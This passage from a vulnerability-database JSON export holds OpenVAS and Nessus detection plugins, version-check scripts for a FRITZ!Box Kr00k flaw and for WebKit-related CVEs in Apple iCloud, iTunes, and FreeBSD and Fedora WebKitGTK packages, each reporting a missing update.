value:\"AV:A/AC:M/Au:N/C:P/I:N/A:N\");\n script_tag(name:\"last_modification\", value:\"2020-06-29 11:09:06 +0000 (Mon, 29 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-29 10:38:30 +0000 (Mon, 29 Jun 2020)\");\n script_name(\"AVM FRITZ!Box 7581 and 7582 < 7.13 'Kr00k' Information Disclosure Vulnerability\");\n script_category(ACT_GATHER_INFO);\n script_family(\"General\");\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_dependencies(\"gb_avm_fritz_box_detect.nasl\");\n script_mandatory_keys(\"avm/fritz/model\", \"avm/fritz/firmware_version\");\n\n script_xref(name:\"URL\", value:\"https://en.avm.de/service/current-security-notifications/\");\n script_xref(name:\"URL\", value:\"http://packetstormsecurity.com/files/156809/Broadcom-Wi-Fi-KR00K-Proof-Of-Concept.html\");\n script_xref(name:\"URL\", value:\"https://www.eset.com/int/kr00k/\");\n script_xref(name:\"URL\", value:\"https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf\");\n\n script_tag(name:\"summary\", value:\"AVM FRITZ!Box 7581 and 7582 devices are prone to an information disclosure vulnerability.\");\n\n script_tag(name:\"insight\", value:\"An issue was discovered on Broadcom Wi-Fi client devices. Specifically timed and handcrafted\n traffic can cause internal errors (related to state transitions) in a WLAN device.\");\n\n script_tag(name:\"impact\", value:\"The flaw lead to improper layer 2 Wi-Fi encryption with a consequent possibility of information\n disclosure over the air for a discrete set of traffic.\");\n\n script_tag(name:\"affected\", value:\"AVM FRITZ!Box 7581 and 7582 running AVM FRITZ!OS before version 7.13.\");\n\n script_tag(name:\"vuldetect\", value:\"Check the AVM FRITZ!OS version.\");\n\n script_tag(name:\"solution\", value:\"Update to AVM FRITZ!OS 7.13 or later.\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nif( ! fw_version = get_app_version( cpe:CPE, nofork:TRUE ) )\n exit( 0 );\n\nif( ! model = get_kb_item( \"avm/fritz/model\" ) )\n exit( 0 );\n\nfixes = make_array( \"7581\", \"7.13\",\n \"7582\", \"7.13\" );\n\nif( ! fixes[model] )\n exit( 99 );\n\npatch = fixes[model];\n\nif( version_is_less( version:fw_version, test_version:patch ) ) {\n report = 'Model: ' + model + '\\n';\n report += 'Installed Firmware: ' + fw_version + '\\n';\n report += 'Fixed Firmware: ' + patch;\n security_message( port:0, data:report );\n exit( 0 );\n}\n\nexit( 99 );\n", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "nessus": [{"lastseen": "2023-05-19T14:07:36", "description": "According to its version, the iCloud application installed on the remote Windows host is 7.x prior to 7.15. It is, therefore, affected by multiple vulnerabilities:\n\n - Multiple arbitrary code execution vulnerabilities exist with in the WebKit due to multiple memory corruption issues. An unauthenticated, remote attacker can exploit this to execute arbitrary code. (CVE-2019-8783, CVE-2019-8784, CVE-2019-8811, CVE-2019-8814, CVE-2019-8815, CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823)", "cvss3": {}, "published": "2020-07-02T00:00:00", "type": "nessus", "title": "Apple iCloud 7.x < 7.15 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2020-08-14T00:00:00", "cpe": ["cpe:/a:apple:icloud_for_windows"], "id": "ICLOUD_7_15.NASL", "href": "https://www.tenable.com/plugins/nessus/138080", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(138080);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/14\");\n\n script_cve_id(\n \"CVE-2019-8783\",\n \"CVE-2019-8784\",\n \"CVE-2019-8811\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8821\",\n \"CVE-2019-8822\",\n \"CVE-2019-8823\"\n );\n\n script_name(english:\"Apple iCloud 7.x < 7.15 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"An iCloud software installed on the remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its version, the iCloud application installed on the remote Windows host is 7.x prior to 7.15. \nIt is, therefore, affected by multiple vulnerabilities:\n\n - Multiple arbitrary code execution vulnerabilities exist with in the WebKit due to multiple memory \n corruption issues. An unauthenticated, remote attacker can exploit this to execute arbitrary code. \n (CVE-2019-8783, CVE-2019-8784, CVE-2019-8811, CVE-2019-8814, CVE-2019-8815, CVE-2019-8816, CVE-2019-8819,\n CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/HT210728\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to iCloud version 7.15 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:icloud_for_windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"icloud_installed.nasl\");\n script_require_keys(\"installed_sw/iCloud\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\napp = 'iCloud';\n\napp_info = vcf::get_app_info(app:app, win_local:TRUE);\n\nconstraints = [\n {'min_version' : '7.0', 'fixed_version' : '7.15'},\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-25T14:30:48", "description": "The version of Apple iTunes installed on the remote Windows host is prior to 12.10.2. It is, therefore, affected by multiple vulnerabilities as referenced in the HT210726 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2019-11-20T00:00:00", "type": "nessus", "title": "Apple iTunes < 12.10.2 Multiple Vulnerabilities (credentialed check)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8801", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-11-22T00:00:00", "cpe": ["cpe:/a:apple:itunes"], "id": "ITUNES_12_10_2.NASL", "href": "https://www.tenable.com/plugins/nessus/131132", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131132);\n script_version(\"1.2\");\n script_cvs_date(\"Date: 2019/11/22\");\n\n script_cve_id(\n \"CVE-2019-8782\",\n \"CVE-2019-8783\",\n \"CVE-2019-8784\",\n \"CVE-2019-8801\",\n \"CVE-2019-8808\",\n \"CVE-2019-8811\",\n \"CVE-2019-8812\",\n \"CVE-2019-8813\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8821\",\n \"CVE-2019-8822\",\n \"CVE-2019-8823\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210726\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-10-25\");\n\n script_name(english:\"Apple iTunes < 12.10.2 Multiple Vulnerabilities (credentialed check)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"An application installed on the remote host is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of Apple iTunes installed on the remote Windows host is prior to 12.10.2. It is, therefore, affected by\nmultiple vulnerabilities as referenced in the HT210726 advisory. Note that Nessus has not tested for this issue but has\ninstead relied only on the application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210726\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple iTunes version 12.10.2 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8784\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/10/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/10/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/20\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:itunes\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"itunes_detect.nasl\");\n script_require_keys(\"installed_sw/iTunes Version\", \"SMB/Registry/Enumerated\");\n\n exit(0);\n}\ninclude(\"vcf.inc\");\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\n\napp_info = vcf::get_app_info(app:\"iTunes Version\", win_local:TRUE);\nconstraints = [{'fixed_version':'12.10.2'}];\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:04:29", "description": "According to its version, the iCloud application installed on the remote Windows host is 10.x prior to 10.8. It is, therefore, affected by multiple vulnerabilities:\n\n - Multiple arbitrary code execution vulnerabilities exist with in the WebKit due to multiple memory corruption issues. An unauthenticated, remote attacker can exploit this to execute arbitrary code. (CVE-2019-8710, CVE-2019-8766, CVE-2019-8782, CVE-2019-8783, CVE-2019-8784, CVE-2019-8811, CVE-2019-8814, CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823)\n\n - Multiple issues exist with in the Libxslt due to multiple memory corruption issue. (CVE-2019-8750)\n\n - An cross site scripting vulnerability exist with in the WebKit due to logic issue. An unauthenticated, remote attacker can exploit this by processing maliciously crafted web content may lead to universal cross site scripting. (CVE-2019-8813)\n\n - An arbitrary code execution vulnerability exist with in the WebKit due to multiple memory corruption issue. An unauthenticated, remote attacker can exploit this by processing maliciously crafted web content may lead to arbitrary code execution. (CVE-2019-8815)", "cvss3": {}, "published": "2020-07-03T00:00:00", "type": "nessus", "title": "Apple iCloud 10.x < 10.8 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8710", "CVE-2019-8750", "CVE-2019-8766", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2022-05-12T00:00:00", "cpe": ["cpe:/a:apple:icloud_for_windows"], "id": "ICLOUD_10_8.NASL", "href": "https://www.tenable.com/plugins/nessus/138093", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(138093);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/12\");\n\n script_cve_id(\n \"CVE-2019-8710\",\n \"CVE-2019-8750\",\n \"CVE-2019-8766\",\n \"CVE-2019-8782\",\n \"CVE-2019-8783\",\n \"CVE-2019-8784\",\n \"CVE-2019-8811\",\n \"CVE-2019-8813\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8821\",\n \"CVE-2019-8822\",\n \"CVE-2019-8823\"\n );\n\n script_name(english:\"Apple iCloud 10.x < 10.8 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"An iCloud software installed on the remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its version, the iCloud application installed on the remote Windows host is 10.x prior to 10.8. \nIt is, therefore, affected by multiple vulnerabilities:\n\n - Multiple arbitrary code execution vulnerabilities exist with in the WebKit due to multiple memory \n corruption issues. An unauthenticated, remote attacker can exploit this to execute arbitrary code. \n (CVE-2019-8710, CVE-2019-8766, CVE-2019-8782, CVE-2019-8783, CVE-2019-8784, CVE-2019-8811, CVE-2019-8814,\n CVE-2019-8816, CVE-2019-8819, CVE-2019-8820, CVE-2019-8821, CVE-2019-8822, CVE-2019-8823)\n\n - Multiple issues exist with in the Libxslt due to multiple memory corruption issue. (CVE-2019-8750)\n\n - An cross site scripting vulnerability exist with in the WebKit due to logic issue. An unauthenticated, \n remote attacker can exploit this by processing maliciously crafted web content may lead to universal \n cross site scripting. (CVE-2019-8813)\n\n - An arbitrary code execution vulnerability exist with in the WebKit due to multiple memory corruption \n issue. An unauthenticated, remote attacker can exploit this by processing maliciously crafted web \n content may lead to arbitrary code execution. (CVE-2019-8815)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210727\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to iCloud version 10.8 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-8750\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:icloud_for_windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"icloud_installed.nasl\");\n script_require_keys(\"installed_sw/iCloud\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\napp = 'iCloud';\n\napp_info = vcf::get_app_info(app:app, win_local:TRUE);\n\nconstraints = [\n {'min_version' : '10.0', 'fixed_version' : '10.8'}\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:33:08", "description": "The WebKitGTK project reports multiple vulnerabilities.", "cvss3": {}, "published": "2019-12-03T00:00:00", "type": "nessus", "title": "FreeBSD : webkit2-gtk3 -- Multiple vulnerabilities (3e748551-c732-45f6-bd88-928da16f23a8)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8710", "CVE-2019-8743", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-12-24T00:00:00", "cpe": ["p-cpe:/a:freebsd:freebsd:webkit2-gtk3", "cpe:/o:freebsd:freebsd"], "id": "FREEBSD_PKG_3E748551C73245F6BD88928DA16F23A8.NASL", "href": "https://www.tenable.com/plugins/nessus/131467", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2019 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131467);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/24\");\n\n script_cve_id(\"CVE-2019-8710\", \"CVE-2019-8743\", \"CVE-2019-8764\", \"CVE-2019-8765\", \"CVE-2019-8766\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8808\", \"CVE-2019-8811\", \"CVE-2019-8812\", \"CVE-2019-8813\", \"CVE-2019-8814\", \"CVE-2019-8815\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\", \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\");\n\n script_name(english:\"FreeBSD : webkit2-gtk3 -- Multiple vulnerabilities (3e748551-c732-45f6-bd88-928da16f23a8)\");\n script_summary(english:\"Checks for updated package in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote FreeBSD host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\"The WebKitGTK project reports multiple vulnerabilities.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://webkitgtk.org/security/WSA-2019-0006.html\"\n );\n # https://vuxml.freebsd.org/freebsd/3e748551-c732-45f6-bd88-928da16f23a8.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?28d1454d\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:webkit2-gtk3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/03\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"webkit2-gtk3<2.26.2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-26T14:23:18", "description": "- Improve performance of querying system fallback fonts.\n\n - Don’t use prgname in dbus-proxy socket path.\n\n - Fix thread-safety issues in image decoders.\n\n - Fix the build with WebDriver disabled.\n\n - Disable accelerated compositing when we fail to initialize the EGL dispaly under Wayland.\n\n - Fill the objects category in emoji picker.\n\n - Fix several crashes and rendering issues.\n\n - [CVE-2019-8812](https://webkitgtk.org/security/WSA-2019- 0006.html#CVE-2019-8812)\n\n - [CVE-2019-8814](https://webkitgtk.org/security/WSA-2019- 0006.html#CVE-2019-8814)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2019-11-15T00:00:00", "type": "nessus", "title": "Fedora 30 : webkit2gtk3 (2019-4213e37211)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-24T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:webkit2gtk3", "cpe:/o:fedoraproject:fedora:30"], "id": "FEDORA_2019-4213E37211.NASL", "href": "https://www.tenable.com/plugins/nessus/131038", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2019-4213e37211.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131038);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/12/24\");\n\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_xref(name:\"FEDORA\", value:\"2019-4213e37211\");\n\n script_name(english:\"Fedora 30 : webkit2gtk3 (2019-4213e37211)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\" - Improve performance of querying system fallback fonts.\n\n - Don’t use prgname in dbus-proxy socket path.\n\n - Fix thread-safety issues in image decoders.\n\n - Fix the build with WebDriver disabled.\n\n - Disable accelerated compositing when we fail to\n initialize the EGL dispaly under Wayland.\n\n - Fill the objects category in emoji picker.\n\n - Fix several crashes and rendering issues.\n\n -\n [CVE-2019-8812](https://webkitgtk.org/security/WSA-2019-\n 0006.html#CVE-2019-8812)\n\n -\n [CVE-2019-8814](https://webkitgtk.org/security/WSA-2019-\n 0006.html#CVE-2019-8814)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-4213e37211\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://webkitgtk.org/security/WSA-2019-0006.html#CVE-2019-8814\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected webkit2gtk3 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8814\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:webkit2gtk3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:30\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^30([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 30\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC30\", reference:\"webkit2gtk3-2.26.2-1.fc30\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"webkit2gtk3\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-10-21T16:52:22", "description": "A large number of security 